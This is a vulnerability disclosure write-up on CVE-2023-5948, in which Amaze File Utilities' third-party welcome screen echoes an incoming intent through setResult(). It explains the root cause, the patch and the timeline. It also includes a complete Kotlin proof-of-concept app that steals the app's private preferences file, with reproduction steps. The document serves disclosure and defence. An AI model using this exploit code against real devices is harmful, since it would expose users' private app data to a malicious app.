CVE-2023-5948 — TeamAmaze · Amaze File Utilities

Theft of arbitrary files from a non-exported FileProvider via improper setResult() in a third-party welcome screen library.

This one is interesting because the vulnerable code isn’t in Amaze File Utilities at all — it’s in stephentuso/welcome-android, a third-party onboarding library the app uses for its first-launch welcome screen. The library’s WelcomeActivity passes getIntent() directly into setResult() inside onBackPressed(), without sanitizing the incoming intent. An attacker can exploit Android’s FLAG_GRANT_READ_URI_PERMISSION mechanism through this echo to read arbitrary files from Amaze File Utilities’ private storage.

Background

FLAG_GRANT_READ_URI_PERMISSION is an Android intent flag that grants the receiving app temporary read access to a specific content:// URI — the standard mechanism for one-shot file sharing between apps. What makes it subtle is that this grant can propagate through setResult(): if activity A starts activity B with FLAG_GRANT_READ_URI_PERMISSION on the intent, and B calls setResult(getIntent()) and finishes, the calling activity A gets back the intent with the permission grant still active and can open the URI.

An exported activity that blindly echoes its incoming intent via setResult(getIntent()) is therefore a privilege escalation primitive — whatever URI permission the attacker embedded in the launch intent gets handed back to them.

Root Cause Analysis

The inheritance chain:

// WelcomeScreen.kt — the exported activity (no custom onBackPressed)
class WelcomeScreen : WelcomePermissionScreen() { ... }

// WelcomePermissionScreen.kt — permission handling layer (no custom onBackPressed)
abstract class WelcomePermissionScreen : WelcomeActivity(), ... { ... }

Neither WelcomeScreen nor WelcomePermissionScreen overrides onBackPressed(). The third-party library’s implementation runs:

// WelcomeActivity.java (stephentuso/welcome-android)
// https://github.com/stephentuso/welcome-android/blob/07524dad/library/.../WelcomeActivity.java#L223
@Override
public void onBackPressed() {
    setResult(RESULT_CANCELED, getIntent());  // echoes the incoming intent back to caller
    finish();
}

The library was designed to return the result intent to whatever launched the welcome screen — a reasonable pattern in isolation. It doesn’t account for a malicious caller who crafted the launch intent to carry a URI permission grant.

Why this works:

  1. Attacker starts WelcomeScreen (exported, no permission required) with:
    • Intent.FLAG_GRANT_READ_URI_PERMISSION set
    • intent.data pointing to a content:// URI inside Amaze File Utilities’ non-exported FileProvider
  2. User presses back → onBackPressed() calls setResult(getIntent()) — the original intent, including the flag and URI, is passed back
  3. Attacker’s onActivityResult receives the intent with an active read grant on the targeted file
  4. Attacker calls contentResolver.openInputStream(data) and reads it

The non-exported provider is involved because Amaze File Utilities opens the URI on behalf of the incoming intent — using its own process permissions — and FLAG_GRANT_READ_URI_PERMISSION on that intent causes the system to propagate the access grant back to the caller via setResult.

Proof of Concept

The following malicious application exploits the vulnerability:

package amazefileutilities.pwned.by.avila

import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.result.ActivityResultLauncher
import androidx.activity.result.contract.ActivityResultContracts

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val intent = Intent()
        intent.setClassName(
            "com.amaze.fileutilities",
            "com.amaze.fileutilities.home_page.WelcomeScreen"
        )
        intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
        intent.data = Uri.parse(
            "content://com.amaze.fileutilities/storage_root/data/user/0/" +
            "com.amaze.fileutilities/shared_prefs/com.amaze.fileutilities_preferences.xml"
        )

        val pwnResult: ActivityResultLauncher<Intent> =
            registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
                val data: Intent? = result.data
                // flags == 1 means FLAG_GRANT_READ_URI_PERMISSION was preserved in setResult
                if (data?.flags?.toString() == "1") {
                    val inputStream = data.data?.let { contentResolver.openInputStream(it) }
                    Log.d("AmazePwnDebug", inputStream!!.reader().readText())
                }
            }

        pwnResult.launch(intent)
    }
}

Reproduction steps:

  1. Install the malicious APK alongside Amaze File Utilities 1.87
  2. Launch the malicious app — it silently starts WelcomeScreen in the background
  3. When the WelcomeScreen appears, press back
  4. Check logcat — com.amaze.fileutilities_preferences.xml is printed in plaintext

Video demo: https://youtu.be/b5929AncGCk

The single back-press is the only user interaction needed — it can realistically happen during normal device use if the malicious app triggers the welcome screen at an opportune moment.

Impact

An attacker app can read arbitrary files from Amaze File Utilities’ private directory (/data/data/com.amaze.fileutilities/) using the non-exported content provider as a bridge. The root cause is in a third-party dependency — easy to miss in a code review focused on first-party code — and applies to any other app that ships the same version of the stephentuso/welcome-android library without overriding onBackPressed().

Patch Analysis

Fix commit 62d0220. The correct fix is to override onBackPressed() in WelcomeScreen or WelcomePermissionScreen and call setResult() with a fresh empty intent rather than getIntent() — discarding any attacker-controlled data from the launch intent before passing it back.

Timeline

DateEvent
2023-08-13Discovered and reported on huntr
2023-09-21Validated by maintainer
2023-11-03Fix submitted

References